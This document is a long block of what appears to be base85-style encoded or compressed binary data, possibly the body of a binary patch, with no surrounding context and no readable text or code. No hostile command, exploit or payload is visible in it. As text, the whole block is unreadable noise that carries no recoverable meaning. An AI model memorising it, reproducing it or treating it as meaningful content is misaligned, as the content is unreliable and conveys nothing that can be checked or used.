zo4U7YSKw5=*P%j}f*Kd;XL)_zJQk|k82(eEYfFv-}t?};`uGxHk4yf_atL10tFaIn34yfd*q@J;d_xEUQRX7 z{$Rz~y7@U$2h?p9x0j!zJA}%qpH=?0g17xxvIF7UDjp85n^cw-{f`pzed>#gJ5-Cl z;(3OBpE~QL9^Im+yh~EwB8yGve3Xc|gte zR;qLLbvE^T$okw#@y^w?KbMd)rXKG%U;N&SJGmW**CZ6y#dDZS*2GhNwciPyt6#9G zb5H({(0Tfz7ftS6jeibp)IYPSM*~~@U3%#+jbA)Sif+oKq-k2^1oivIhl9N7X#7rY znpwFiPqA&c=BZCKo?3Zfo_erxN#(_P>dNBfdFqDn4=c~8?9cn%T6s?8wmj9**jl+g zPyMp-+{%GG6!`TOmjZnTCub8(mZu$MY?jg z{(M0ydnVTW6Dqr<;qsyC>b#!9t!QoOzTH!so8jE%?p zy&-<@Rg2V`X?ykZmn9YNtM#vzkLfdPs(i_7pjr&22FokeWqRb-5>kD1)}CpXP0H^w z{f6yVHv2%)WxC@(O~`-N2Z}DA6!HrFsQA4P+Jik0{iIMiIV-qAU-Js%<&;JbxI%k> zYpB;3^yn+}EjHD)vPWO37yXyY~OLzha{wt;6D9Lp*TzE(FpkmrujbgjpgqTzE`*8sp~vf>8oBd zeqVv#)%vD9b)DyZy5)~bZ9x4F*B-5UzfOR1+GxN2fKVS(-<$D=s{Q(~@l(I6@mGIP zKVwq|Rn^YUd;Myj`upmS=xJ}5kh|(WReeC8Wm9Vw z++TgIenY4mRBpv<)z|A6{yb5ZkL%TMlDa`%JEKy49NKEBPZsliqf(WrlRUWk^cW5_xJ#b8^Uc)(q9$~5Zkc?K4(WFZ3BvGrEW$d^UBh-X1wdL1y z$T4A>W(EQ-n`1(nQ&DjFGPD@H>n%v6r47cGBbi)+;-TK9i4 zu1!v%FtxXHUxik4#?U7rNmyXX{j*Y2>c3O#ABZnG7=PcwZR+?KdXP(fy@KuXh==X_ zzkp7xiQ2gpLt=|pWb2jji!yPmcP~6q__wReSx8MQwuMVt$F0VsO=-iyhb?l6uUmYJ zY+qByyWYarq*;m9G`e9a!#S;(cIK{A$fs_+UD>9F`3w4y#(NKMANQ|Yu&EZ(=)8$_ zIc5}ZJ%gIsv)+y~F{VtN&%9mSx2h@Aym&GDpc%*iJ5v5zl(Vq>$Cr7+!Z`D>!kM0# z+whvZ3-5MN!`b?8r!#LS&xtzz_1xbsofDU2=UnptUS=|Ph`SCw)KX_k$zML5?ws^f zgI|(9@>Xc#mLLVKswADMrP@$1vsx(j+2AdUn3ut+u{u^TO~WsA|9w!(FW4g1%!Emb z&B+v?DZdH-*Yl#UR-eRJ>6GVj*bQx$Z6dB#S4#RO{HRFDxJ|xO-KJEAzqcT+aerQF z@%&=u^^0Z9{g|}N6Bu7C6$%hbQAe%7!Q7eu@FobXw53el??)I&$x9B~RI3e=4z&?) z$faFMOVo-fxFiL)oq{PjOQO~1 zp&`y_*k7)}xk2*9i}_(GGV*$&k~w}$_$#DkJ(A`Vl{)NJ4?)^R>V9CcdKgmmsAH0Q zP)hzg(V4>a(bO6p&vDCYsA$r<>GLvgeM#(Mp zchV!K;ula^jW<~t#`LCjQfs5_W^8>560y|xrQQALYZ`A*kz-~HD}-}8(50$`zg6a| zcTb@PE*e{WPlehxgMWSS(hr_ z9l2ETmdH~G)1w>I<|SKj^O5cs1@{9l)~_huZF*fL7VgwJ^+((Vje|d`TY%W@RHv`l zuRCn_^TjuSf6>fOBMfieb=bb-=hTI>Z`FMg@*+W>^?P+Qu7L99U5CUPl<<9O&+?n` zp8Z8LA4EF5r5Bgd#-+40{AI47^?2PXS3*iV z+xnV+y(_Lh74CM;w!Y=x?8>Q4kW5bGGh0#{l#p4$D+F`uzbdbFt+wuNXmPK$HqJiJ zot1j6w!Xb`3*4+}!ba9Nfx1N938`03?VLRXH_w~0!pW-6C6(3{;%0q^-IoepWn*&b z7u{E>OP1c_j#w9+)>yaM2sMc1hJFT4=<%bC|r;!dc?{9{G8*kxe) z5$k&m2N3IlhPxzgrPY8GhTT!?&c?@!?vQ##t-I#ms_&3=qE^CFUmUkSJO5^Nhm`OR zN$sl=l9KEIpRIO>l;KkAo2PxcIHx{-(ycltzBy}o_0QCP>!O*fJo~NZi`RN^#|d|k z_lxg-tHayoxzYNGz8siXn1e6xBY4wX_ip_3+D`=k!~2Ys;Tfs#Gg99dz!`SGppr|M`x-3XL2a<8^G{h1uDrr`AL^L% zJqE1AJ&dzv?)N=qy*GS?FKF$o{)BIVbrUlN(W zBr@NxJ{j6t_PV;ky0q*iX^~eY{Hr3LSEWTBQ|za&N(!$k@BGut-%v-Etx<2N_u|x- zI=rUb(%VBV&Ep&;AkYvu3q2le<&?#A;iO_n_B&*`5o9s>S8 zko51@=OE+)?e$*kTA&lvS^oja@kX7Tc^OK+r0xLl>hcy~rabFEWIc{_ZnRowJmJ4v z@}h z%6}5~cLX07d0`ZXlj}2IE}D5kut60sW2@Z@X+&IU#v|g_A+bKO2l9 zHQ0aap&8fV_WK((??(#TW?TadLE7iT_u63GC1Zr17x*dU@KR+<`ExQ-2X*~PpAU|? z7OvdlU*LMP>FX$Y?djhFc2!>hJgvG%=Umq=d?A=~J<)`cxK==Oa;|>~{WN&M^}Piu zG+S4mbZCZp0pvnjUh|#@_CFW_neK_T=Qy4E>dwr~Oam z^>c0ry<^TwAj`Qxf3UnWbRXi*FS*b4htqrECjW@*=Z#~?aVsRi9PdZIydm)vLMAL9 z+H^eRgPi@=b9v7Dh0~#qfkXUEeUCoostjHiI_CO*;|;E3u8tt;h*+Nrz2f4DA3(d@12^BVUI47LX1i}&G%#(pd%61-jN`dkmrQGLKU(~L;L!4q zOpCa0T6{h5+=`o~(LUS`{+pq@rk(HpRQcDYztMUGVK-p$m!2c zd&TwIj4l3G^eHs?)X`=Wc)rEbdMQup)4rB!3@M`wnr zX6w%{r|t5E?=2s5??j8=XsyB+H$xw)`Hufa_g3%Xs{InHMKr$!Js0yF_eU#kaP4>B zzoG~3UoRqlZ814t3lnc#aAwsZD73UXB7EAS6>xuP&N<+Je#MUJ2KDkuAFOC_=jsyGTajkEy2a|Kz8d`L z?5$|KyQ||8x5MICACY_;+}~gM3#9OEV28!|VWjA$g}(*o(c)Hc*cSJx=lpv57{Vv4 z_M)q*ebaMrS6cgl9qIsZ^YlZ&9(}vu-GcWC9ua&@@F~IPfY54jzbN<$umj)to2GsR ztWg&NYw_J8FBVt712(9cc(Z24rLQaTs=5kMpM$$k(z!r?0q&TjcBi1v zH4|ToDtCRi*sFfyV#=?&nB!|MruK%5C0A~y=5{l8ubb(Yxvvj+Rlxm8;50YWuW^3{ z?ppUPz()67A+K8Hz6Uts9{U0-TV_xqpT4e0><`S6^@kumrusJ!`sF zuNQrx)T?eTW__P6ZY=Yv=fqv^A*a(r&iUfL6*ya!VjXpw`mc%$@wLgHR$Mi`UY!fc z*Q*az)WiL;ij}}mRa^}GT*VIHmjv$-ykGDk!S7Zi;QO?=ekZ!UWSPXMg<21!#?s)5nL;{O)x4r zE|?R1ui#NZRU+jSTq~FpJS2ETP?bs;!EJ)$f(Hc;3mz3bCaB67-V&TGxJ__e@Sxyf z!DE7|T*3>61=k906C4*jC}{Z^a<*VZFe;c6JSccr@QC11!DE7|LUIud3(gi?D;N>n zCKweQ7t9GB6g(t&STG!5YHI}#3my?XDyV{zmta_Mw%}U9Z3aUOgP#`z9u-uT5=$^F zI9qV7U_@}6U{r8iFei9O@QC0sL2DXQn=Kd-j0%nm9uzzzcv$d=;8DS2f~txsgayY1 z4+w>>B^VKm z3g!e42_6xgJ%b@5f>FU^g4<3KD39uhn(ctr51;4wjUGDBK|VZqsgYXu{M z+XTl24+Lf>FVo;32^yg4<>?m%sGyoBVFZt!O1C;q!V7K_92Yz&cv$eLpqejn z1rINv`>3EgUHF1)1-A)~3mz0aEO=CK?Lvm%CO9s5P*5$BbOhH5ZWA0AJScc{F~g{O z2`RW%aGT(`;6cH|2A448Q9-p-VhOGl+$K0Kcu?@L;88)kWB zpx|M_qk?KV!ygtrDySMI1;Mp~+XTl24+cah)$YfFx8d&y{+@7OQ0c|4`X8oSK!sThcCqn1PxY%q>fdoU zzCypLgD#)@N%sv!&lR0nd~Wgf;`bJRrTB^BYEPG^&$HX}e$OqQuXvvEw0h6=#=LvI z`@Ns=-sk2hS8b_!Pt}L34p;rC>bF%@)tjqx)t{~Yel@>3Ta5j54^9|L@m<*pUpc&+w%EQ&m!f9?0k@&U!+zB8I@xV;)k3nR2{wu8ioYtL7t~Vil;-0^^oT> zHAAhy7kk%0k}U|)rsk-2NVE&541EZ_8Is)!SziQMZ$qpB$U2U1x+k%g*@M`7)pB(i zV!j8m{bcdCfv1MP3w&e7lfc8(%@)2Da`JlMmsXw!yly%1*rG1rJMn$1ScU1l`*h}V zq2RR(-i^~Am*;NauV;J>ct`lYJYKutU*R_S7N!t%vs870mz_lS=NgD>nuupFx*sQW zQ)5l9{c6#FAKyE-*Qa0)E&vvm;kG3ggR@0y^l~}N(3jJy>gwe)yKr;H$nC5dSK?H0>!~^5zb&~M_(;=!;5R}a z0S1@c<;N-*XM+LsE}p02_72>Y=#5_VHMh|G4)$zS3{DuR!S#T13TQ9-n-`oC^ju49 zo)^8W1ilM_7J6_ge9M4X`{Nl3E~CRE}&L3VM#35hw0!aU{M12 zR7wr_^I$u?>H|nAp!NfC=NM@R)Q6CU7hhhg1!oyjwO}Laz_}4A1=J^jS~Vg)oTLK1 z>Qj(PK-~n?Y9-_pP`8OxJ`dDt73369x5FNJ@onn4;H*c^7IsnQfpb6d45)7cacT}* zm1-wF(bVFP^M1@x+nwG6&lpvJe-mc#e&fC07JYJ~47P-6sd0)HDY zpx$Gx0RP=U4STv0{6U}>dj_lEn*-wJF1}W7sU5%o-swLBzWab$4dDyw7A)|Y;9O;$ z1>dWI8uoY%I3K}x@dE0jK&?{h9B>X;Yr(k|sPR>>2;%Mrdez79l{|cN8>nH&`Q`P! zzyMBdTHt#<(1KlWh3^ z?uej$EPU_$Vz|GEHsMXRC^&bb9W+iXiC=^4Ep;zYtFNn_z<-3iHTDj7f&UGlR?ngb z;A_T$KZK;U`hnnc*w4eARG`KVQ3mc8fEr&sABFoTK-}|#ye)MUsMRq@SL3_zmxJ>v zP-BfpQZjNh*L6f{v`Nkbv5{J0=4=JBnsn&ucK+4hwq0w z1k`G-^&z-Vvpx*>sXz<+;va!~J`i7pwGP02y5LIeRN;%+K&@6=*Ta1#zBi`T8G>h7 zH-fVUsMXolr{F#ZsMT8QX1F7QUDjv7*$A}M`PL!0yMdPKwLS-T571JZtXtvk1LC`> z_)eHsn}L>kmvuYb7Xon?&H57D7YS~&?gR&C(ctW`{sFiXcN(C#);-|w1wu=$uK_Q! zz7BjJ?ma-efLeXPx*zWSK&?K6uXI7X@XamggLMS%j|+a%dI;`MS&sleZ+!=NoAnsN zd;zG{?f9M+w8eS?oG$^PC)W4izEkiYtf#=aOYlMKY48tQ&w}$U!6ViWz3I@m~8exStk$7GIds>KVa*wSEr%4}e%V}r^zRTd4Ag42{sY`| zfEw>fz7F?XAS}H86Yy01XW$Q$ORm%Oa<$RDOV`xlqwRIe zFh*R3G2qMU>*y_4>W}E#^_TU%dadhEF6}<(?kpNCy0qx3qVE?q7O(NV?D>=D4etWq zFH07cy;0U!9;(Py{Aa~Om4B)XO`A3Cs%gusj$#O!p=Zp6X5)QQ^Q_Y^tROwhJgv*! z8aEds)|Kujmhs}y0rzbcxIbmx=PqgD^M3d58~J>|eX`KslJLqp;{F8q%6iECAf9Wj zN8DEyWA$Nu$Nj@f(vP`s#Zy_|b$3X(C)~f3=l9&96)uI3(5O=^KX9()9!D_Dcqjh- z3+9aYKmQM{E@UAOzfyyHV8@5M4)?w$^GZ|~Zi-FjS?XHcggc&h8g4P+r;P~qzY_HW z%u@NU-8=*z$QJ|hQt!vD$m{V(_vi8SVt&GvL<#;l_uwpqtBL?-7x*?ZW($=VmFHj- zJzbrRk!LN&nh5@y@jDvlBA@f@yxeLR+YNGf_gtp!R@cm3tSr4)y;+KROxek<2P$W| ze$6tUb@uB1{-ym()mc5U=-}DgZGzke;f^NB6nA$zH4w{WI^vnE!`m6l_V*4%lS@@5 z?>fKZ!v5~A_Kkh5J-z)6s=YNiIvh(!wv91h-b%|Q^Ozc(Ar#s?zlbabpe8PE2Ojl_E6m&MjBU#6OSnt`41 zfpjX9+L5i_5>JBeOKoaTX5nB3jjJzZp1pgbBgWM>njF}+O!cPH+1Q}uxlFaU#HF0k z^ccLN%UFVCYEtc%Lw-B@`y=MTsFST>TenY{&W zDGmJX(&VEwtUz3(fv4>S*M`nWbMJ=8vL<|yJC@-iY98w%s~eX^B1>1VUftT-up+Xu zt+}a6Z`e0MY(Yabp-#D-%@ zHdQLw63a&8iOks&DWW>!!?8`h>x5dT`Uhh>qN9l{+71mgkc}pHCSsYs)Up<}VM}|9 z>K{s_cHy~cV{=z$cTa0?Z);0`>&6yohtAf{uAZ&^y^*$7)iavxZdIEyv2(jy*Gu9C zBfZV-?P|-0^IEsA>x%TWbaa5|cc^}lOnPHWdtZCk#z;qhXQZ!rLr3dI)zaD)+0@b3 zzo9kK(%M5#^OmljmVUaZ1e>AWh|=HFy1AVW70&>+bTaLht}Po??^q@q8?JBflHk34 zJ*|<>_KoZN*KKNRYwekoMrY*QuH!iE8^NKNdsJuSg8sIiNM~!W+7Rj8(7!p-u?cQ^ zcJ@lg!vosY)vJ&}S6f?eYoGYGZx&xX*2j|Qf@qn|s&^nAizRzvJJPYtQ12Gi*>`~i zzCgkn_f~OlRlU(2vGYgc1G_pdRJ)^z(O7@Kgx!)#@4`>OMbfb-(u*d=(VWU;N7GT& z5*tVj##*A;sA?bHDbIEB>~M5MoGkVB36f@`fMg%-jiqT$W+?Wso_X^=XOV; zE$QeUGs7=WX>d-ZkjSs_03>s#; z;TDEyjt&gP3K^a8WW11;0E77HyI6GC@I^3F*}cQjL}Du2WH}{%AwyyoGTJxC2V*Id zTT48R?$Lq{7E2qBtzQ!cHB&Fm97p~0HgI!10~5P0ngN%h?~Nq~d&iOk(!hCwKCSR5 z^em(ksR7lI+S3u+9ZQ@S8{3|WrUyA1sQwYbf%E``Ptl+~(lD6y8E}|t`=A=!(>DaK zK{&~=M-fo#V_BH!!IbSk;gJ{_+%rKTm`$u3v(spfLV=@$Dn4kEM&Uq>M8^_*wkM(N zkwKH4X$h&W?SxuDHEbfD$vYz1ES11STQ|C6M=TAC6x$sKi)wlti*@Np4eYWbv}bIB zLGuL6cPtI*IiXq;(UA<(gEDf^LmwnLV7gAd^Bhbh;GW_ghr&b8>yPthV*LfdNwX8? z<4XWmJI`qziVf^)-_f4j0j08Q(42zYgklvYC<*~uH|TV~LWS!ci4DXtgrjT0J2^0v zP9=rd7~8XcG|t8cU|f)yL;K*_@&5j{cq{?l#^`XYfNb3x8yL-Ume3u|4i$LF^y2JY z{r&5r12j5z^v>R?ybGqXwoYYDn4777P7j#sQ_vlzdKw*?%Ac$3>m5-GMP2V;Au`iY{QZy zpg38^O-YPw$YnIUW0lcf)j66T9!;~H%goFPwH?I50zF^mgT}>~pmAZi@4?!^2ql`1 zweB4l61tnB5`B+k?FB~6o}!9XM0+rA<4%s+Q#aL*Db4a_eH@R>3;}VnD06Q#Ik-Kw zHy&d%;*8*o$_w2gfgC`=V&?&b1>DzsgS9-vWF6z zqRyLCdb49l#r7>^F+Qg+GM{B(gkZ!xfdci#hDQo%Qw}@1LXW(Ahm({PP+CP&PK=nc z<@4;sL^Yl?*)nWbZyPjMymvSb^06FFx1@&AcKN7enM6~2Y!}KZ9JH4_)3HlOV_3Tm zI+jJaNvFd3d4_1~1cm4m1XgdcKB$_}j1Cl5goSCLxY5qr$upg5b3C1em9=Z7Hm2ay zoFIxIkPJ6g)Ue|qcQcox!j^@pxX70kl2DzQo!yu+iW^eTrUp_8Ax2@c#es^;vzHTe z<78X(4#9w^HcY3ej&$djT5ucNNhVgE=!)39fOS{KR%4+hMF&PkvnkWZp+nI$IF!z& z5iDtAN)~o4vF)QfX?c_AI4v-VJL%Pl1mgn;n&+UH&Z3LEUz8dm?u@0^rBi#vf*5vU z1i_5cL^19jjHH=tdW`8IGKGZolk`}%1Nrpt;ck^Pnxq}`Gl=z2I=+1rUYn9wbjEkY zX{>05Cw%g*O&M6`JY|=V;g9DPlzPGoa<)y|1kX{vKKA7ku+!1O*l;wxYr?B9nnvYh zK*u;);Ni$?Lws;BmYj&tx;Gn3W-vZYu$)|}2b*K*6MMqy?1=BgUI(|grpCn_X&@cP zmP4Uui`nPu#88dJXzgVA%g$?$apn>Ai z1N(*Dl3o}rp|J~>=6>!^= z5O3a}U6r-qCbn5YOV6~Y-%kAsNcMFT0dv)^9co};h`wrMPv$alppUmDqB|v-?&MC# zXqg=nSQt|eGk;SQdMat^;_PWLOj=}qLa!-NWF7KWk@BA0CYCuCL)wNkzk`Q1D`4CD zS#Nhd`f&KCQC-osYxW2HSg1rO77&KV>8U8#6*i`2I6s>-)u~FA1A9!lC6!2 ziXk|P=Lwl_08Jwnoj5lf*zVsMAj zr$+Wfvv9F=9CM`k#L*m0VAR1tU?|gV3*9Dj6DgbSONk4mlxHWlS0vGi`6YK;(DE2A z@kBUICd6&lQ+bkJsl;F`?F5wPh?AhK@THi>WiLbxA>GqBr4JhC9&QS#4a3m^47xbY zFdG3l7wiIW{OlR_n1t zY6l@sK+oW#Gn&o};c1VM-KoS_GBpgFs75B7(wAXV;@Dl6AxMg(B3SA13{fSxHBH?W zL(MW6$Kal!T?wZZ+mjjWbtN#LiQBGSv2-$)SiX!~s%jKdW7|2L**%cX3fGqRd2xh5 z*%GF|ZbTPhE|HA5qgs_o=%we3WSJEO_?4$QYX_Hp%Y z`^ZexM1^G7-E9xE9+uMwn`1VFWc_a<#FMs9;i6ob`H}6D!dT=4=D1|s)CGHkOccR! zW7?8RV{R!m$xMXB#1>V9vEXBmc|c%0NiwZ=oPbF};y8aaHX7psgy%=XkuaGRjqBps zt`VM4LEVj|#85GejgK_WdJ{WSn4u00OS?}{ed#!)iY01lST&LVjE6=2m+oru?7;o6+-+%i*`)TX1D zDP}S$Y|Ud8$73?=HgPvZoMuHXPFZV+3mH@4xYDDEgm&a7$C8shB&)X6;F#mKhqU&t zdQKgAlz|zqI(KAeA$iGUvg5Kng}#Z&Bx;wy+J`e|GX~gOvZ6w;c*Z9~#Yzq&M(tMQ z_AGZD8EX(73C2p?G*w~+Y}JCdUF7wN)OMa)m~b`|N22!41dP6%7)%^=K=w(Pe;#RL zV8Fmp;02?CLlDUj`=T(jn9te8?@nb5!4l^Q?D`lk^=*JhlL&5<7X4;qC_aGAtC(SL zOl5mVM@HmYLID@X2c?ZcH3qoTWe3I?DQ;RMv$RMB+yP$N*c?y6gdnE^4?Fk-$Eh|K zz3~i6g$Wt%L~wE3J2aZbNnH}Qb61j23b!w%A_;7|P_Nrk>2)y(O{SEl@1t2v-={-{ zDXB4=OTpr&p_+7Z@+=OsgchgF>%~Q_6bDU(J#!OU7W(3n;V2*2)=r_J)rF+fIO5kE z=Pd;o9&FY-fsMsZ3klhxeT-WS8y3%ovKLCWmpR(PQahcMc;=uM)>5boW9gI`F|g?% zVll@CA{g6gOv#`r3N)DcI#gjP)u3z{+GSRpY|36Utc}zHZ88|+u9HogbPE`5Snb<> zl;(C5i^^#`dlRwPh}u3pf<5Qq0X!yc`WGB4H*=3<1Uoh8cL}Nc=m>sDlFMs{vU?S_ zd+-UQXu9wa@RI)iK8Vyl1I$yCC!}XP{AL)^G!0loF3CMrk>`O@PIhTa@@A+iMp5-ps0)OWW)j6ZJO97Omv&r zE(h3V<6ewc+L=)rTb8z$Ae;+hE6Grk2+m|=$JOCdXCfJgqS{PQ=xGx~Zy~{*-;NZw zt1!dk7P_+=GsUR(qMfn2Ps=!u#}Fs7Y3QKr3AFBpX)~M8kgK^{W4DluKd=)BJDOaV z%5ts-V$w|)nUX75E_m3J`VFxJ<{X&R#d-c_Q@AdMLl}fHo5!53*b_OddU(2uptxz^ zxVp`q0~!4t{j`ZzrYdb{=OB&fxcgF$YsBOa<;JkWoi;|38F;VUgu!eAcQ3%}iE-RX zrLp}_Y)hno1^4Bq2z25q-GsoL+jp6ICnh%OaB(DC5V(E-x9?Q_fIK>JqEFIHv7m4= zy>e*ioJ~V7y0hqD+cU>$z3A)l%z_&@8LU!d*h3i8tS#~A&Lplx#0N4Wzh0O`tlh+I z-=OG36UVWH6aGewY`bG-_&_3Z#f3)Ci@1 zB5#^~Dp}s2c8GJgR&43P@(nr@_zV=C8?+b=v2V{(q&V`LDOkqoh7QSIB}=x9=!fkj zH$TKX8}V_ZB^^x;{79LFT52>on6^Eg;fG}FUQ9M&Rd&a5ErTr6vR$&KctqABb(z^1ZRdtwCO^1Q-iBi)WyZb7JTjPp^YUDlYbeyFz-nS* zh(xfd9PcLKAJ$RK3982)Tg4_#HUFNaR=hXbG;&S(4~r zAC^NIGsYOF2*5aFW(4e}P0ja7bKI7x=a6eefp#zk9a^8l)lw|sxz;fo`1yDf6LS+w zjE|XPn_4-&*x{j%z?jC;4vn_MOkIvyWh!eYgV~3)jZ9-r?ZJQm%y4T$OJ+) zJDX;VaddQIKw*`PaS593(ZXcqf01p#)*Y*R{QJH=RG*hkt-A(Am} z>VxA(YdcPu0>{bFtb|=fI81KB!%o_uS=AOyAh^kHGf^arr`Y7363AwxWJwG&%;hsH z&ufH`1}Y`4G)WYUhT2gHGm-1>#?~pAhO!BxG)9G-A-bSj=jSb$l+;5}5S`UCY9$r4 zo!D|6u$>Hm-QR*R6O`FtE{Id0rIK>NO(aRakVdWSn6eVH-Tf)K)FiRZRV9gNJB{@i zv?~cwMV#9ZTghL z+$xdUX%lJbXP98hoEKMEI6p{cof+o@g90?|A~ms{6K7X8!=6x0?3Oq;P73BAoIGPH z@^&q2+pM<>CIvH7bu$@qI!)qZzX{YQ8<@8j|76h+^mg3B-KR|9VoX zET)z+;ihrn#G6+O%%TKmgZ6D`S%G7Qhoy^jM=mMs)n4xqETM55XEU}0aMdB6;NE~5 zoH;7rgu%%MfHsC3HC#qvb5LmXa9#{{SSTgTqTCJdh>kH(oF|@d*MdCi-5A@O z57$RG(z0*zkjfHvV_AVc7Th2a@oh})VJH}<*v>R3z$Uy=PY#Z;jVYUjn(m>Fn_FhB zdokh+;h@5vV(_d2JlLkm44&AqT(u_pkz}(!i2`~CT}8@iFM)(9Zo5NarZ|@ zMvTioMp~EJtG3|Ii`l+G(Kw8W0YR%d$H9iS51S0pmoiV5C6Y1jbZm#?B)dJs>DHLj zfY?VG7P2sqbJio!_x8hB9+=jxt)>(wuj<->9?Fp_d z-ko>SScb4+{9UQk`F-Fsl|6XNd(aLQ#ryQkkv?&}13m$3 zp<7dAs(s6W8 zRZX~;;KLpx2(c4iLfS3T8U>|J>%yldc0fikk?iq`&R2ZHszIq;lfz9e=}zR%4#AE` zZD&bH?*JOz4NEPUOIq}iU2HqTGjCI`3`$2GMVZcT7MVG6*n>EZmj3lT-ZI6`X1uf< zmYma4!j!ZLF@X;;9It=W7#a`u9BLK2yJHxZ<7+_?a80WWN^GYuQg78M8&PxCnmuYK zVj7)f4|T$+&Ue~Fdr*QXQe~?a_W#NKlRZuOR^W3^OYx^F8}RX!mFPiB?LV~Nj0oyI zhBO9L4|K5)G3blm$SB=`9B>nYlCPWxKlZ~G@MuKmDK(uYbWF<5lGGy{`=knPgf)o3 z7}EkVMO8Xab>eveW0f-{+N8KpOk)5a(4dy7s%E4XhnxPi3p*e&<=X(8(vF;!Z?88T1@cuURYd7+7B%rD`BMwInGY+gnJdA_Wd!_AhSs5uLpt*zcR7HDH z1NE-IogCG`-!APgNJgw=C2N_*2N&W}E0J#L#9V+q(6q*g^kQlO`%oNm&QA2=={qDo zuDeQ$8NEk4RhahWNJ1@ARh)}p=_e`BF0%h9&ti-ZXQMR=`KrQ%&G)x*j@}7rNu=y+ zvvX8+?9GlSk~kEaM0oB z^R03?3^|Pa($HO1Iv{z|PgSxvP}ix^v?kC%@G{V+UdYd}{pw`8m;xo;g1-!G9PK@3 z8FdUdF_Aq^zLnc0)}+>}qansH>6eo?*&=?|h@%vJd~Qxhv# zPFs2jc zgsLzjfthf#BuujlBZ3O{NGUkOWhCdI z$K6x$N6B&=o&&p&zls6KykI19y$k${(SmFndk#^~5*WL~+OuUiXQ4e-_^}ykH|-!> zD1kmixvS|tC+1i7pw&5^??4PYEPg0q3eUGra^D3>;0q53kDNVy;BA-w#N0VTQJ+-B zyAZz{wyYT+*+SVtw?cA#z#h`2qU>;u2U4mpvt@pbYw@i>ZZw9_!TgFlOD zM37@IQt5*GJdA5$xZ3a^{OjJz-=uU3=1->}JV)KIxKBads3(|Ddd|TIV9rr0(~B~9 z;E$y}(L#>%6sNz^P2GO$1zQ_x+=bpedEDuq)T>nGWSYxGRrlA@RppcBPIZO7q~2b9 za?UL)ACDOql?x-|p1*}nXGu+eqa{gW1dgBvoSz#jkJ^-PfY#tGcKAb|rWv8dDt8%@SdW1p8}Bf*Bj{WM7zSw~E`;*0LzBfM z-crz8Fzp$I_}9aK2=p?1y>2(cF9&Y~9dtRGWhI(9iS#Z*VYk3P3AJlOzD;(xgc!>v zC>+zf5FL=ujYyf{S0nv*T8>SU?f%0F7G@J0Xq3z)JpoBCBt5K&-DCcI>1+S}u zdkMl_V3%{JNMozi?=mSz1H`o*OV(YOfVD#r+fWb6gYwym_79odOMzRE&WY0NLYQ?(a}XgC$k|D!2lCvE5?+XO3)7)|DKF-0 zeUcy>O@cbDX|7ks9J^CFa)CSWI?8xXI-t|!}*=@|WJ zv)iW=;V8$|cDdFe<*icgQ7Jb|UzpzH^qqY8Rj8$qYf@@E5x&r$dK9yo8{yvpSvc}MS6ZqS`Nq+vn;?7km-TQZP_H=3 z`#+&vn;}1L{cM3g?iTr<{|?Hx19hiio+|J4sQ(b!l~3GT#vltbd7$CsB#6sLZVsIRpH=A3oIY?0#)Slz8=NxY z=PFMo-=x7Mj4_u<#KM%K)G?oM!<3q-vZ^Xv)Z~{BF8uhUZ#Pol0-LTz<7$ea#?6?l z(3-4=Y}=t(=RqQ!kaia&c|Lk^FM8)D)N~8_^j2t{n$1NlC%l|UvbNmPTZ}(Pk}5bi z?>189&tyBk?a*>gWiT0E&-i8uMjOQ`4JTY2N+!0j%%&2TW}MVIyO_+I@)|=;)M856 zEbQJcK0Mnhi|02utKF@yybXbr0jKt)1wN%~%8@Rs0$Y z>%~%WVC0fqrjaiAVfx3705iFZ;#19&X%ln8-)XnENU_4vg9OTkiQ1IZCi}llYD%eB z53T#o3y(gr{(WOFeDGh-|95=c^y`;hw0TD3(f!^ppVR-I;Ik!X@WXe z*Fr4*1B+~3QWf&LDpjRbsoi0GZ;xORv@5JEU)W{Yo{U)Lu_l5SSB0wJi68AT4o_HX zgjI%bnFkWJbS?7sR&pD~>-V52k|Hv!WCU>iy3zvSRW5(1&Rw_mq~=?yD`II1%rXIaFJDmZ_2L@ zt_eko!&a!34;^Z)@ww)!QvB88&x`DX0i>Le_+i1hsHcQ4!n3x+^+{;t3c2M;T*wXp&xUOBgie#e%+KkBhY`4O4PV9#K4A6cN%MKM-oIL-ko|vb@Dg^T|}|iag2+ zjqisJFdpho@&GtR$bI}qAKQ3*KU`j^5sHe1iCyRtBw#yz^Btxx*1Fh-)@(v?*#|6k zCm$UE6>MVld>Y>Pel-4k)U>8z$sXcDGH5NYqzs3L>Eem>R(p)(THM%kg4)!T+Kg74 zZyv2@c;;20lA#uFiO3?@R99pg-Wwdh8NUz+mz02CQ>-lb`AU_>!~E}4 z+9uFR*p*q45_SMYFk0dDmK0AzXnvVom4;Q`U521}!k2e>P5X}D4CO#HXwUqKIH*?< z#k6|B(^RWj5xWu%m_RjRVW#HGQZI{t126ExjZ>SfoH(nGOW zvI;Z@w6?;kVbeR!+U+h5jo(e346ZIx3U1S$-F==0TM#AQ(D?PXn!wvA1f3oNq^S*EL}@<)Wn;&zt<`ltvFWwa{U3ps z8!{<{HN}vkppnY*(iD0_5hAUIF(s%2#}f z>U^jsjHu67K{-$8us5iT>e%`P%U|O$N@jD=ptd~0h9U-=kSE%V)SaMCnw&sk;;3@W zT^t;L3e^d<5@LvJ1=pbL;L=QoT48e0Bx}4Ls4M=}_>?<1{w$gWmJ>Y{F4V4~s0Q|| z$mzt-7JJ+!2#ldkLev#OXeA{wE`R~iL6F`uba~iN`Tto+n$||S0m#kgk(dbVH=zOu zhCifC8P`zu3~g~t5(l0&-cpY!Q)mc0(^G~jl)El8WaoqNy~+bwmz7NeQ*0A_5ZITe zO&#D{t%~wYCprh9`IHqP#*VtCB#gn;{G;~#m~f2nbHa-v!|@kOirHz#f9&ySC|g|- z1~AML5E9{xTC~c=46{I(-#m>LWqp$MBj!e*z_vdqxwq0>W+ zERyLHv>DEFa?8b8B3MR78H&acf-;HdVhqNXRl|-`<3+326r-Ru(uvXJ7~0Tu0nBpv zOG9oq0YCSl++Zn`mLo8y6?h=@LeDI;40zML(o}VD!sobu!YK0CVaiky1ob+4_v?@# z@-SyMW>(Ig?}|-i!c~!bin|vsjF7kK<#TaMrZ^u{!|YdA^eUGq&I#Iv%Jnk zf+OsylCiGDgq~_!%OR>7m;^I#MQeufH>sKol%QxS^U(?8A?IBu}3nPMXrC&x6{evgL&)m{%w{`i4nr9pdVdIAN} zOGK_nfP)W}w}O$RF-aoD?RU4i~)zGk{u{8q9dvJRgAe zSYAjk*tFV%@!@R>M!8A3ShQf1U95oAJzpFdMld~BmiFsnKO~V0gYaWuL9Z9ON*9-q 